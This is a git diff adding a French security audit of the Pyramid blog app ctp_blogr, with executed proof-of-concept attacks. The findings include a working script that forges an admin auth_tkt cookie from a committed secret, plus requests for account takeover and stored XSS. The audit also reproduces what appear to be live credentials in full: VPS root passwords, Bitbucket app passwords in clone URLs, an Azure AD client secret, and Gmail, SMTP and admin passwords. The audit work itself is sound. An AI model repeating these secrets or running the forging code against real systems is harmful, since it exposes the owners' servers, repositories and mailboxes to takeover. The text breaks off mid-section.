diff --git a/README.md b/README.md index 4be441b..450b740 100644 --- a/README.md +++ b/README.md @@ -17,7 +17,7 @@ Bien que **ctp_blogr** soit une application minimale et simple, elle possède to - Python 3.9.6 - Pyramid 2.0.2 -- SQLite 3.35.5 +- SQLite 3.43.2 - pyramid-jinja2 2.7 : view templating - wtforms 3.2.1 : form library - webhelpers2 2.0 : various web building related helpers diff --git a/SECURITY_AUDIT.md b/SECURITY_AUDIT.md new file mode 100644 index 0000000..1380a87 --- /dev/null +++ b/SECURITY_AUDIT.md @@ -0,0 +1,1026 @@ +# Audit de sécurité — application `ctp_blogr` + +**Date :** 2026-10-01 +**Cible :** dépôt `/Users/phuoc/pyramid/ctp_blogr` (branche de travail, commits non commités inclus) +**Pile :** Pyramid 2.0.2 · SQLAlchemy 1.4.54 · Jinja2 (pyramid_jinja2 2.10.1) · WTForms 3.2.1 · SQLite · Python 3.9.6 +**Méthode :** lecture de code + audit parallélisé (templates, config/dépendances/historique git) + **proof-of-concept exécutés localement** sur une *copie* de la base de données. + +--- + +## Verdict + +# ⛔ BLOCK + +L'application est ** compromises de bout en bout** et ne doit pas être exposée en l'état. Quatre chemins d'attaque **indépendants** conduisent à la prise de contrôle totale du site, tous reproduits lors de cet audit : + +1. un secret commité dans le dépôt permet de **forger un cookie d'authentification `admin`** sans aucun mot de passe (PoC exécuté) ; +2. le **mot de passe `admin` en clair est commité** et vérifie contre le hachage stocké en base (PoC exécuté) ; +3. **n'importe quel utilisateur authentifié peut changer le mot de passe de n'importe quel autre compte**, y compris `admin` (PoC exécuté de bout en bout) ; +4. une **XSS stockée** est servie aux visiteurs anonymes (PoC exécuté). + +S'y ajoutent une **fuite de 47 billets `privé`** vers le public, une **suppression de contenu par simple requête GET** sans jeton CSRF, et une **base de données versionnée contenant des mots de passe root de serveurs, des mots de passe applicatifs Bitbucket et des codes de récupération OVH**. + +Priorité absolue : **la rotation des secrets exposés doit précéder toute correction de code.** Un patch applicatif ne protège pas des mots de passe déjà copiés. + +--- + +## Périmètre et limites + +### Inclus + +| Domaine | Fichiers | +|---|---| +| Authentification / autorisation | `ctp_blogr/__init__.py`, `ctp_blogr/security.py`, `ctp_blogr/services/user.py`, `ctp_blogr/views/default.py` | +| Vues / services / modèles | `ctp_blogr/views/*.py`, `ctp_blogr/services/*.py`, `ctp_blogr/models/*.py`, `ctp_blogr/forms.py` | +| Templates | `ctp_blogr/templates/*.jinja2` (13 fichiers) | +| Configuration | `development.ini`, `production.ini`, `setup.py`, `pytest.ini`, `rtd.txt`, `.gitignore`, `.coveragerc` | +| Scripts & dépôt | `ctp_blogr/scripts/initialize_db.py`, 7 scripts racine, **historique git complet (67 commits)**, `ctp_blogr.sqlite` | + +### Hors périmètre + +- Configuration nginx / TLS / pare-feu (hors dépôt). +- Le blog `cao.blogr` hébergé par ailleurs, et l'infrastructure Bitbucket/OVH/Dropbox — seule la **vérification** que leurs secrets sont exposés est faite ici. +- Test de charge, disponibilité, concurrence SQLite. +- Les formulaires métier morts de `ctp_blogr/forms.py` (`HistoForm`, `AllocationForm`, `ActifForm`, `Actif2Form`) : aucun contrôleur ne les instancie, donc aucun sink. + +### Non-destructivité + +- Aucun fichier du dépôt n'a été modifié. +- La base `ctp_blogr.sqlite` n'a été **qu'en lecture** (`sqlite3 -readonly`, `cp`) ; toutes les requêtes d'écriture des PoC ont porté sur une **copie** jetable dans `/var/.../opencode/sec_audit/audit.sqlite`. +- Aucun commit, aucun push, aucun `pip install`, aucun serveur réseau. Les requêtes HTTP ont été injectées directement dans l'application WSGI, sans écoute réseau. +- Aucune exploitation n'a été tentée contre un service tiers. + +--- + +## Synthèse des failles + +| # | Sévérité | Titre | CWE | Exploitabilité | Impact | PoC | +|---|---|---|---|---|---|---| +| 01 | **CRITIQUE** | Forge de cookie `auth_tkt` admin depuis le secret commité | CWE-798 / 321 / 287 | Triviale, à distance, sans authentification | Prise de contrôle totale (`group:administrators` → `manage`) | **Exécuté** | +| 02 | **CRITIQUE** | Mot de passe admin en clair dans git, valide contre le hachage en base | CWE-798 / 522 | Triviale | Prise de contrôle totale | **Exécuté** | +| 03 | **CRITIQUE** | Base versionnée : mots de passe root de VPS, app passwords Bitbucket, codes OVH | CWE-312 / 798 / 522 | Isole — déjà exposée | Infrastructure et comptes tiers compromis | Inspecté | +| 04 | **CRITIQUE** | 7 scripts suivis par git avec identifiants Azure AD / Google / SMTP | CWE-798 / 312 / 522 | Isole — déjà exposée | Boîtes mail et tenant Azure AD | Inspecté | +| 05 | **CRITIQUE** | Escalade de privilèges : tout utilisateur authentifié change le mot de passe d'un tiers | CWE-862 / 639 | Triviale pour tout compte authentifié | Compromission de `admin` et de tous les comptes | **Exécuté** | +| 06 | **CRITIQUE** | XSS stockée : Markdown rendu sans assainissement + `\|safe` | CWE-79 | Facile, sans authentification | Vol de session admin, phishing | **Exécuté** | +| 07 | **HAUT** | Fuite des billets `privé` et `brouillon` vers les anonymes | CWE-862 / 639 | Triviale, sans authentification | Divulgation de 47 contenus privés (données perso/financières) | **Exécuté** | +| 08 | **HAUT** | Suppression de billets et de tags par simple GET, sans CSRF | CWE-352 / 862 | Facile | Destruction de contenu, y compris par un tiers | **Exécuté** | +| 09 | **HAUT** | Aucune protection CSRF sur aucune mutation | CWE-352 | Facile | Toutes les écritures forçables | **Exécuté** | +| 10 | **HAUT** | Absence de contrôle de propriété : édition du contenu d'autrui | CWE-862 / 639 | Facile | Dépublication, falsification, vol via XSS | **Exécuté** | +| 11 | **HAUT** | Open redirect après connexion (`came_from`) | CWE-601 | Facile | Phishing crédible post-connexion | **Exécuté** | +| 12 | **HAUT** | Cookies `auth_tkt` et `session` sans `HttpOnly` ni `Secure` | CWE-1004 / 614 | Via XSS (#06) ou réseau | Vol de session, interception en clair | **Exécuté** | +| 13 | **HAUT** | 4 secrets de signature dans l'historique git, jamais rotés | CWE-798 / 321 | cf. #01 | Compromission persistante | Inspecté | +| 14 | **HAUT** | Identifiant retiré de l'arbre de travail mais présent dans l'historique | CWE-522 / 798 | Selon rotation | Invisible à tout scan de l'arbre courant | Inspecté | +| 15 | **HAUT** | `url_scheme = https` en production alors que waitress sert en clair | CWE-319 / 614 / 1004 | Réseau vers `*:9280` | `is_secure` toujours `True`, TLS contournable | Inspecté | +| 16 | **HAUT** | `setup.py` : aucun verrou, aucun hash, `waitress` non épinglé | CWE-1104 / 1357 | Build-time | Build non reproductible, CVE non bloqués | Inspecté | +| 17 | **HAUT** | Python 3.9.6 fin de vie ; Pyramid 2.0.2 branche abandonnée | CWE-1104 | Indirecte | Aucun correctif CPython depuis ~11 mois | Inspecté | +| 18 | **MOYEN** | Injection d'en-tête `Host` dans le HTML rendu | CWE-644 / 1021 | Facile | URLs absolues pointant vers l'attaquant | **Exécuté** | +| 19 | **MOYEN** | Base de production lisible par tous (`0644`) | CWE-732 / 922 | Accès shell local | Lecture des hachages et contenus privés | Inspecté | +| 20 | **MOYEN** | Branche de suppression d'utilisateur en code mort (`NameError`) | CWE-755 | n/a | Le contrôle d'accès prévu n'a jamais été exercé | **Exécuté** | +| 21 | **MOYEN** | Nom de route non validé depuis l'URL → `KeyError` / 500 | CWE-20 | Facile | DoS léger, fuite de trace (debugtoolbar) | **Exécuté** | +| 22 | **FAIBLE** | Aucune limitation de tentatives sur `/login`, mot de passe ≥ 6 caractères | CWE-307 / 521 | Brute-force en ligne | Faille des mots de passe faibles | Inspecté | +| 23 | **FAIBLE** | Slug doublement encodé dans les URLs de billets | — | n/a | Liens cassés, pas d'impact sécurité | **Exécuté** | +| 24 | **FAIBLE** | `.gitignore` inopérant sur un fichier suivi (cause racine de #03) | CWE-312 | n/a | Mécanisme | Inspecté | +| 25 | **FAIBLE** | Script d'initialisation non idempotent, message trompeur | CWE-755 / 703 | n/a | Opérationnel | Inspecté | +| 26 | **FAIBLE** | `rtd.txt` obsolète et non installable | CWE-1357 | n/a | Piège lors du provisionnement | Inspecté | + +--- + +# Fiches de failles + +## CRITIQUES + +### 01 — Forge de cookie `auth_tkt` pour `admin` à partir d'un secret commité + +**Fichiers :** `ctp_blogr/__init__.py:15-16`, `ctp_blogr/services/user.py:22-32`, `ctp_blogr/security.py:9-12` + +```python +# ctp_blogr/__init__.py:15 +authentication_policy = AuthTktAuthenticationPolicy('J2wv322aL5DTn2', + callback=groupfinder, hashalg='sha512', timeout=36000) +``` + +Le secret HMAC du cookie d'authentification est un littéral en dur dans un fichier suivi par git (`git log` : présent depuis `e3d4616 initial upload`, 2022-04-21). + +**Chemin d'attaque.** `AuthTktAuthenticationPolicy` signe le ticket `auth_tkt` avec ce secret. Connaissant la clé HMAC, n'importe qui peut fabriquer hors-ligne un ticket valide pour un `userid` de son choix. `groupfinder` (`services/user.py:26`) attribue `group:administrators` au seul nom d'utilisateur littéral `admin`, et `RootFactory` (`security.py:10`) accorde `manage` à ce groupe. Aucune validation supplémentaire. + +**PoC — exécuté, hors-ligne, sans serveur :** + +```python +from urllib.parse import unquote +from pyramid.authentication import AuthTktAuthenticationPolicy +from ctp_blogr.services.user import groupfinder + +SECRET = 'J2wv322aL5DTn2' # ctp_blogr/__init__.py:15 + +# 1. Fabrication du ticket à partir du seul secret +from pyramid.authentication import AuthTktCookieHelper +class R: + domain = 'localhost' + def __init__(self): + self.environ = {'HTTP_COOKIE': '', 'SERVER_NAME': 'localhost', + 'wsgi.url_scheme': 'http', 'SCRIPT_NAME': '', 'PATH_INFO': '/'} +h = AuthTktCookieHelper(secret=SECRET, hashalg='sha512', timeout=36000, include_ip=False) +raw = h.remember(R(), 'admin') # -> auth_tkt=!YWRtaW4%3D!userid_type:b64unicode + +# 2. Le vrai policy accepte ce cookie et en déduit le rôle admin +policy = AuthTktAuthenticationPolicy(SECRET, callback=groupfinder, + hashalg='sha512', timeout=36000) +req.cookies = {'auth_tkt': unquote(raw[0][1].split(';')[0].split('=', 1)[1])} +print(policy.authenticated_userid(req)) # admin +print(policy.effective_principals(req)) +``` + +**Résultat observé :** + +``` +authenticated_userid : admin +effective_principals : ['system.Everyone', 'system.Authenticated', 'admin', + 'group:administrators'] +``` + +**Sévérité :** critique. Authentification contournée, non authentifié, à distance, sans connaissance d'aucun mot de passe. Deux vecteurs d'administration complets (`manage`) et l'ensemble des permissions applicatives. + +**Correctif minimal :** +1. Générer deux secrets neufs : `python -c "from os import urandom; print(urandom(32).hex())"`. +2. Les lire depuis l'environnement dans `ctp_blogr/__init__.py` (`os.environ['CTP_BLOGR_AUTH_SECRET']`, `os.environ['CTP_BLOGR_SESSION_SECRET']`) avec erreur explicite si absents. +3. Purger l'historique git (cf. #13/#24) — **invalider les tickets et sessions existants est le comportement souhaité ici.** +4. Ajouter un `pre-commit` bloquant tout secret (cf. #24). + +**Vérification de non-régression :** un test qui vérifie que `__init__.py` ne contient aucun littéral de longueur ≥ 16 passé à `SignedCookieSessionFactory` ou `AuthTktAuthenticationPolicy`, et qu'un `auth_tkt` signé avec un secret différent est rejeté. + +--- + +### 02 — Le mot de passe `admin` est commité en clair et valide contre le hachage en base + +**Fichiers :** `ctp_blogr/scripts/initialize_db.py:16`, `ctp_blogr/models/user.py:21-34` + +```python +16: model = models.user.User(name=u'admin', password=u'pcao.7513') +``` + +Présent dans **7 commits**, dont `e3d4616 initial upload` (2022-04-21) : + +``` +$ git log --all --oneline -S'pcao.7513' +f4d6037 rename app name to ctp_blogr +7a2ba16 ignore cao_blogr.sqlite +fcd83c4 finalized update portfolio +d95ae8e fixed histo_edit +7059553 added came_from to login.jinja2 +060b796 added historique +e3d4616 initial upload +``` + +**Clarification importante.** Le hachage n'est pas le problème. La base contient de **vrais hachages passlib `sha512_crypt` à 656 000 itérations**, pas du clair : + +``` +$ sqlite3 -readonly ctp_blogr.sqlite "select id,name,password from users;" +1|admin|$6$rounds=656000$fJNrkQmpXHkYLIwN$a2bWzHrydd.nZSj6yz1iIvBhFLu5q... +2|phuoc|$6$rounds=656000$2CreCW2GVgLVXEMw$P3OrFCXCye6iAGHXAi4nkDyaLK6s... +``` + +L'algorithme est fort. **Le défaut est purement la gestion de la clé** : le pré-image étant public, le hachage n'offre aucune protection. + +**PoC — exécuté, hors-ligne, sans réseau :** + +``` +$ python -c "from passlib.apps import custom_app_context as ctx; \ + print(ctx.verify('pcao.7513', ''))" +True +``` + +Le mot de passe `pcao.7513` **vérifie** contre le hachage stocké de `admin`. (`phuoc` ne correspond à aucun candidat testé — correct.) + +**Atteinte intrinsèque :** `POST /login` avec `admin` / `pcao.7513` → `groupfinder` renvoie `group:administrators` → `manage`. Prise de contrôle en une requête. + +**Aggravant :** ce mot de passe est aussi utilisé comme compte `phuoc` sur deux VPS distincts (cf. #03, bodies de billets 37). Une rotation limitée au blog laisserait l'infrastructure exposée. + +**Correctif minimal :** rotation immédiate du mot de passe `admin` ; suppression du littéral et lecture via `os.environ['CTP_BLOGR_ADMIN_PASSWORD']` avec erreur si absent ; purge de l'historique. + +--- + +### 03 — Base de données versionnée contenant des mots de passe root de serveurs, des mots de passe applicatifs Bitbucket et des codes de récupération OVH + +**Fichier :** `ctp_blogr.sqlite` → table `entries`, ligne **`id = 37`**, titre `CTP4 - Comptes serveurs`, `status = 'privé'` + +Le billet est marqué `privé`, donc filtré pour les visiteurs anonymes par `services/blog_record.py` — l'auteur pouvait raisonnablement croire ce contenu privé. Il est dans l'historique git et poussé sur `origin` (`https://git.caotek.fr/phuoc/ctp_blogr.git`). + +**Preuve :** `sqlite3 -readonly ctp_blogr.sqlite ".mode line" "select body from entries where id=37;"` + +``` +### vps-zidol + - root : GocRe!251.vps + - zidol : ZienDan!251.vps + - debian: DauTien!251.vps + - phuoc : pcao.7513.vps + +### vps-boxitvn + - root : GocRe!240 + - adm-bxvn : bauxite!240 (sudoer) + - phuoc : pcao.7513.vps + +### ent.iledefrance.fr + - thienphuoc.cao / pcao.8211.ENT + +### cao-nas : http://192.168.1.51:5000 + - ctphuoc / Can.khan9S + - Accès externe : http://quickconnect.to/ctphuoc + +### repo bitbucket +- https://ctphuoc:9HMYPQ7Yz8emdBwGpbg3@bitbucket.org/ctphuoc/cao_sunyata.git +- https://ctphuoc:9HMYPQ7Yz8emdBwGpbg3@bitbucket.org/caotek/caotek_portal.git +- https://ctphuoc:9HMYPQ7Yz8emdBwGpbg3@bitbucket.org/ctphuoc/ctp_blogr.git +``` + +Dans la même ligne : mots de passe de comptes OVH (`pCao.7513`, `pcao.7513`, `pcao.8211`, `dcmdcm2022`, `88tanhkhong.WEB`), **quatre jeux complets de codes de récupération OVH (40 codes)**, identifiants Dropbox, identifiants bancaires. + +Les valeurs Bitbucket sont des **identifiants HTTP Basic dans des URLs de clonage** : ce sont des mots de passe applicatifs donnant lecture/écriture sur trois dépôts — dont **le dépôt de ce projet**. + +**Contenu de la base également exposé :** `privé` = 47 billets, `brouillon` = 3, `publié` = 51. Les lignes 105-107 (`CTP1 - Caisses sociales et assurances`, `CTP2 - Etablissements Bancaires & Impôts`, `CTP3 - Habitation - Abonnements`) contiennent des données financières et fiscales personnelles. + +**Fenêtre d'exposition :** la base a été modifiée dans **8 commits** et suit `git` sans interruption depuis `f4d6037` (`rename app name to ctp_blogr`), qui l'a ré-ajoutée après le `git rm --cached` correct de `7a2ba16` (cf. #24). + +**CWE :** CWE-312, CWE-798, CWE-522. + +**Sévérité :** critique — classe « déjà exposé ». Les mots de passe root VPS donnent un accès aux hôtes ; le mot de passe applicatif Bitbucket donne l'écriture sur ce dépôt ; les codes de récupération OVH donnent la prise de contrôle complète des comptes. Toute personne ayant eu un accès en lecture au serveur GitLab, tout clone, toute sauvegarde ou tout poste ayant cloné le dépôt dispose de l'ensemble. Aucune position réseau requise au-delà de la lecture du dépôt. + +**Correctif minimal (l'ordre compte) :** +1. **Rotater d'abord** : mots de passe root et comptes des VPS, mots de passe applicatifs Bitbucket (révoquer), mots de passe OVH + **les 4 jeux de codes de récupération**, NAS, Ent. Ile-de-France, Dropbox. Supprimer le fichier n'annule rien. +2. `git rm --cached ctp_blogr.sqlite` puis réécriture d'historique (`git filter-repo --path ctp_blogr.sqlite --invert-paths`), force-push, re-clone partout. +3. Renseigner la base par variable d'environnement / chemin hors du dépôt (`production.ini` pointe actuellement sur le fichier versionné — cf. #19). +4. Sanitizer ou supprimer le billet 37 — utile seulement **après** la purge de l'historique. + +--- + +### 04 — Sept scripts suivis par git avec identifiants Azure AD, Google, SMTP et IMAP en clair + +Tous sept sont **suivis par git** (`git ls-files`) et ont été introduits ensemble par `5ce9066` (`added scripts for testing smtp and imap`, 2023-05-28). + +| Fichier:ligne | Preuve | Nature | +|---|---|---| +| `imap-APP-office365-dumas.py:10` | `"secret": "dZD8Q~GmG_PFi.t_uRiyBEzwLeMZeemQGHUFta~J"` | **Secret client d'une inscription d'application Azure AD / Microsoft 365** | +| `imap-APP-office365-dumas.py:7` | `"authority": "https://login.microsoftonline.com/47f02128-acf0-47a7-a3bf-27a3619d4a4f"` | Tenant ID (identifiant associé au secret ci-dessus) | +| `imap-APP-office365-dumas.py:17-18` | `client_credentials` | Flux OAuth | +| `gmail_caotek_purge.py:12` | `conn.login('phuoc@caotek.fr', 'pcao.8211')` | Mot de passe Google | +| `gmail_ctphuoc_purge.py:14` | `conn.login('ctphuoc@gmail.com', 'ztwciswzhxxogcfv')` | **Mot de passe d'application Google** (contournne la 2FA) | +| `email_avnes_purge.py:12` | `conn.login('ytranhong@free.fr', 'minhy116')` | Mot de passe boîte Free.fr | +| `smtp-SSL-alinto-dumas.py:18` | `smtp_pass = "S@sdumas69"` | Mot de passe relais SMTP | +| `smtp-TLS-office365-dumas.py:18` | `smtp_pass = "Nar50611"` | Mot de passe Microsoft 365 | +| `imap-SSL-alinto-dumas.py:10` | `passwd = "S@sdumas69"` | Mot de passe IMAP | + +Le secret Azure AD est le plus grave : c'est un *client secret* d'un tenant hébergeant les boîtes `entreprise-dumas.com`, obtenu par `client_credentials` — il ne requiert aucun mot de passe utilisateur et se rejoue tel quel. + +Ces scripts sont hors du paquet Pyramid et sans rapport avec le blog (`AGENTS.md` le précise). Ils constituent néanmoins une exposition de secrets sur la surface de déploiement. + +**CWE :** CWE-798, CWE-312, CWE-522. **Sévérité :** critique — déjà exposée. + +**Correctif minimal :** révoquer et régénérer les sept identifiants (supprimer puis recréer le secret Azure AD, régénérer les mots de passe d'application Google, réinitialiser les autres) ; `git rm --cached` et sortir ces scripts du dépôt ; purger l'historique. Ces utilitaires ponctuels n'ont pas leur place dans le dépôt applicatif. + +--- + +### 05 — Escalade de privilèges : tout utilisateur authentifié peut changer le mot de passe de n'importe quel autre compte + +**Fichier :** `ctp_blogr/views/default.py:88`, `:101-139` · `ctp_blogr/security.py:9-12` · `ctp_blogr/services/user.py:13-15` + +```python +# views/default.py:88 +@view_config(route_name='user_edit', renderer='ctp_blogr:templates/user_edit.jinja2', + permission='view') +def user_edit(request): + ... + user = UserService.by_name(request, name) # :105 — l'utilisateur visé vient de l'URL + ... + if 'form.submitted' in request.params and form.validate(): + ... + del form.name # :135 + form.populate_obj(user) # :136 + user.set_password(form.password.data.encode('utf8')) # :137 — pas de contrôle de propriété +``` + +`permission='view'` est accordée à `Authenticated` (`security.py:9`) : **tout utilisateur connecté, pas seulement `admin`**. Il n'existe aucune notion de rôle « rédacteur » (`groupfinder` renvoie `[]` pour tout nom ≠ `admin`, `services/user.py:29`). Le contrôleur ne vérifie jamais que l'utilisateur connecté est le propriétaire de la fiche, ni qu'il est administrateur. `del form.name` empêche seulement de modifier la clé primaire — le mot de passe reste modifiable. + +La seule protection est le `redirect` vers `/users` (réservé aux administrateurs) — un contrôle d'interface, contournable trivially. + +**PoC — exécuté de bout en bout sur la copie de base :** + +```python +low = Client(); low.forge('phuoc') # utilisateur non-admin authentifié (via #01) +low.post('/user_edit/admin', { + 'form.submitted': '1', 'id': '1', 'name': 'admin', + 'password': 'owned_by_phuoc', 'confirm': 'owned_by_phuoc'}) +``` + +**Résultat observé :** + +``` +users BEFORE : [(1, 'admin', '$6$rounds=656000$fJNrkQmpXHkYLIwN...'), + (2, 'phuoc', '$6$rounds=656000$2CreCW2GVgLVXEMw...')] + +[A1] phuoc POST /user_edit/admin -> HTTP 302 -> http://localhost/ + +passwords AFTER : [(1, 'admin', '$6$rounds=656000$rFs...'), <-- hachage changé + (2, 'phuoc', '$6$rounds=656000$2Cr...')] + +[A2] login admin avec le nouveau mot de passe -> HTTP 302, auth_tkt reçu : oui +``` + +Un compte « rédacteur » a changé le mot de passe de `admin`, puis s'est connecté en `admin`. **Prise de contrôle complète par n'importe quel compte authentifié.** + +**CWE :** CWE-862 (Missing Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key). + +**Correctif minimal :** +1. Exiger `permission='manage'` sur `user_edit`, **ou** introduire une permission dédiée (`edit:user:self`) et n'autoriser `edit:user:` qu'aux administrateurs. +2. Ajouter une comparaison explicite `user.name == request.authenticated_userid` avant toute écriture (défense en profondeur). +3. Ne jamais accepter un nouveau mot de passe par cette vue sans vérifier le mot de passe actuel (pour l'auto-modification). + +**Vérification de non-régression :** test d'intégration — un utilisateur non-admin reçoit un `403` sur `POST /user_edit/admin` et le hachage en base reste inchangé. + +--- + +### 06 — XSS stockée : Markdown rendu sans assainissement puis injecté avec `|safe` + +**Fichiers :** `ctp_blogr/views/blog.py:20-22`, `:33` · `ctp_blogr/templates/blog.jinja2:13` · `ctp_blogr/views/blog.py:38` + +```python +# views/blog.py:20-22 +body = entry.body.replace('static/', "%s/static/" % request.application_url) +body_html = markdown.markdown(body, extensions=['footnotes']) # aucun assainissement + +# views/blog.py:33 +'body_html': body_html, +``` + +```jinja +{# templates/blog.jinja2:13 #} +

{{ body_html | safe }}

+``` + +**Paramètre de configuration vérifié.** `pyramid_jinja2` applique `autoescape: True` par défaut (`pyramid_jinja2/settings.py:13-15`) et aucune section `[pyramid_jinja2.settings]` ni `set_jinja2_environment_options` ne le désactive dans ce dépôt. **C'est le seul point d'injection du projet** : `|safe` désactive explicitement la protection. + +**Pourquoi l'assainissement est impossible en aval :** Python-Markdown 3.9 ne retire pas le HTML brut (le mode sûr a été supprimé en 3.0) ; `bleach` et `nh3` ne sont **pas installés** dans l'environnement. Le corps du billet est donc rendu verbatim. + +**Chemin d'attaque (entièrement vérifié) :** + +``` +Utilisateur authentifié (permission 'view' = Authenticated, cf. security.py:9) + -> POST /blog_edit/0 (views/blog.py:38, permission='view') + -> form.populate_obj(entry) ; request.dbsession.add(entry) (views/blog.py:66-71) + -> le corps est persisté dans entries.body +Visiteur anonyme + -> GET /blog// (route 'blog', views/blog.py:9, AUCUNE permission) + -> markdown.markdown() -> corps HTML brut + -> body_html | safe -> injection dans le DOM +``` + +**PoC — exécuté :** + +```python +low.forge('phuoc') +low.post('/blog_edit/0', {'form.submitted': '1', 'title': 'POC XSS 42', + 'body': 'Hello ' + ' ', + 'tag': 'programming', 'status': 'publié'}) +anon.get('/blog/119/x') +``` + +**Résultat observé :** + +``` +[C1] phuoc POST /blog_edit/0 -> HTTP 302 + en base : [(119, 'POC XSS 42', 'publié')] +[C2] ANON GET /blog/119/x -> HTTP 200 + +

+``` + +**Atteinte intrinsèque :** la charge utile s'exécute dans l'origine de l'application. Combinée à #12 (cookies sans `HttpOnly`), elle permet le **vol de la session d'administration** dès qu'un administrateur ouvre le billet. Le corps étant persistant, la XSS atteint *tous* les lecteurs, y compris anonymes. Aucun échappement, aucune sanitisation, aucun rapport de contenu. + +**CWE :** CWE-79. + +**Correctif minimal :** assainir côté Python avant le rendu, avec une liste blanche explicite, puis supprimer `|safe` : + +```python +# ctp_blogr/views/blog.py +import bleach +ALLOWED_TAGS = {'p','br','a','img','h1','h2','h3','h4','strong','em','code','pre', + 'blockquote','ul','ol','li','table','thead','tbody','tr','th','td', + 'sup','sub','hr','del','figure','figcaption'} +ALLOWED_ATTRS = {'a': ['href','title','rel'], 'img': ['src','alt','title']} + +body_html = bleach.clean(markdown.markdown(body, extensions=['footnotes']), + tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRS, + protocols=['http', 'https', 'mailto'], strip=True) +return {..., 'body_html': bleach.linkify(body_html)} +``` + +et dans le template : + +```jinja +

{{ body_html }}

+``` + +> Supprimer `|safe` **sans** assainir afficherait le HTML Markdown échappé (`

<b>…`) : l'assainissement est indispensable, ce n'est pas une correction cosmétique. Ajouter `bleach` (ou `nh3`) à `install_requires` et le figer. + +**Vérification de non-régression :** test d'intégration — un billet dont le corps contient ``, `onerror=`, `javascript:` et `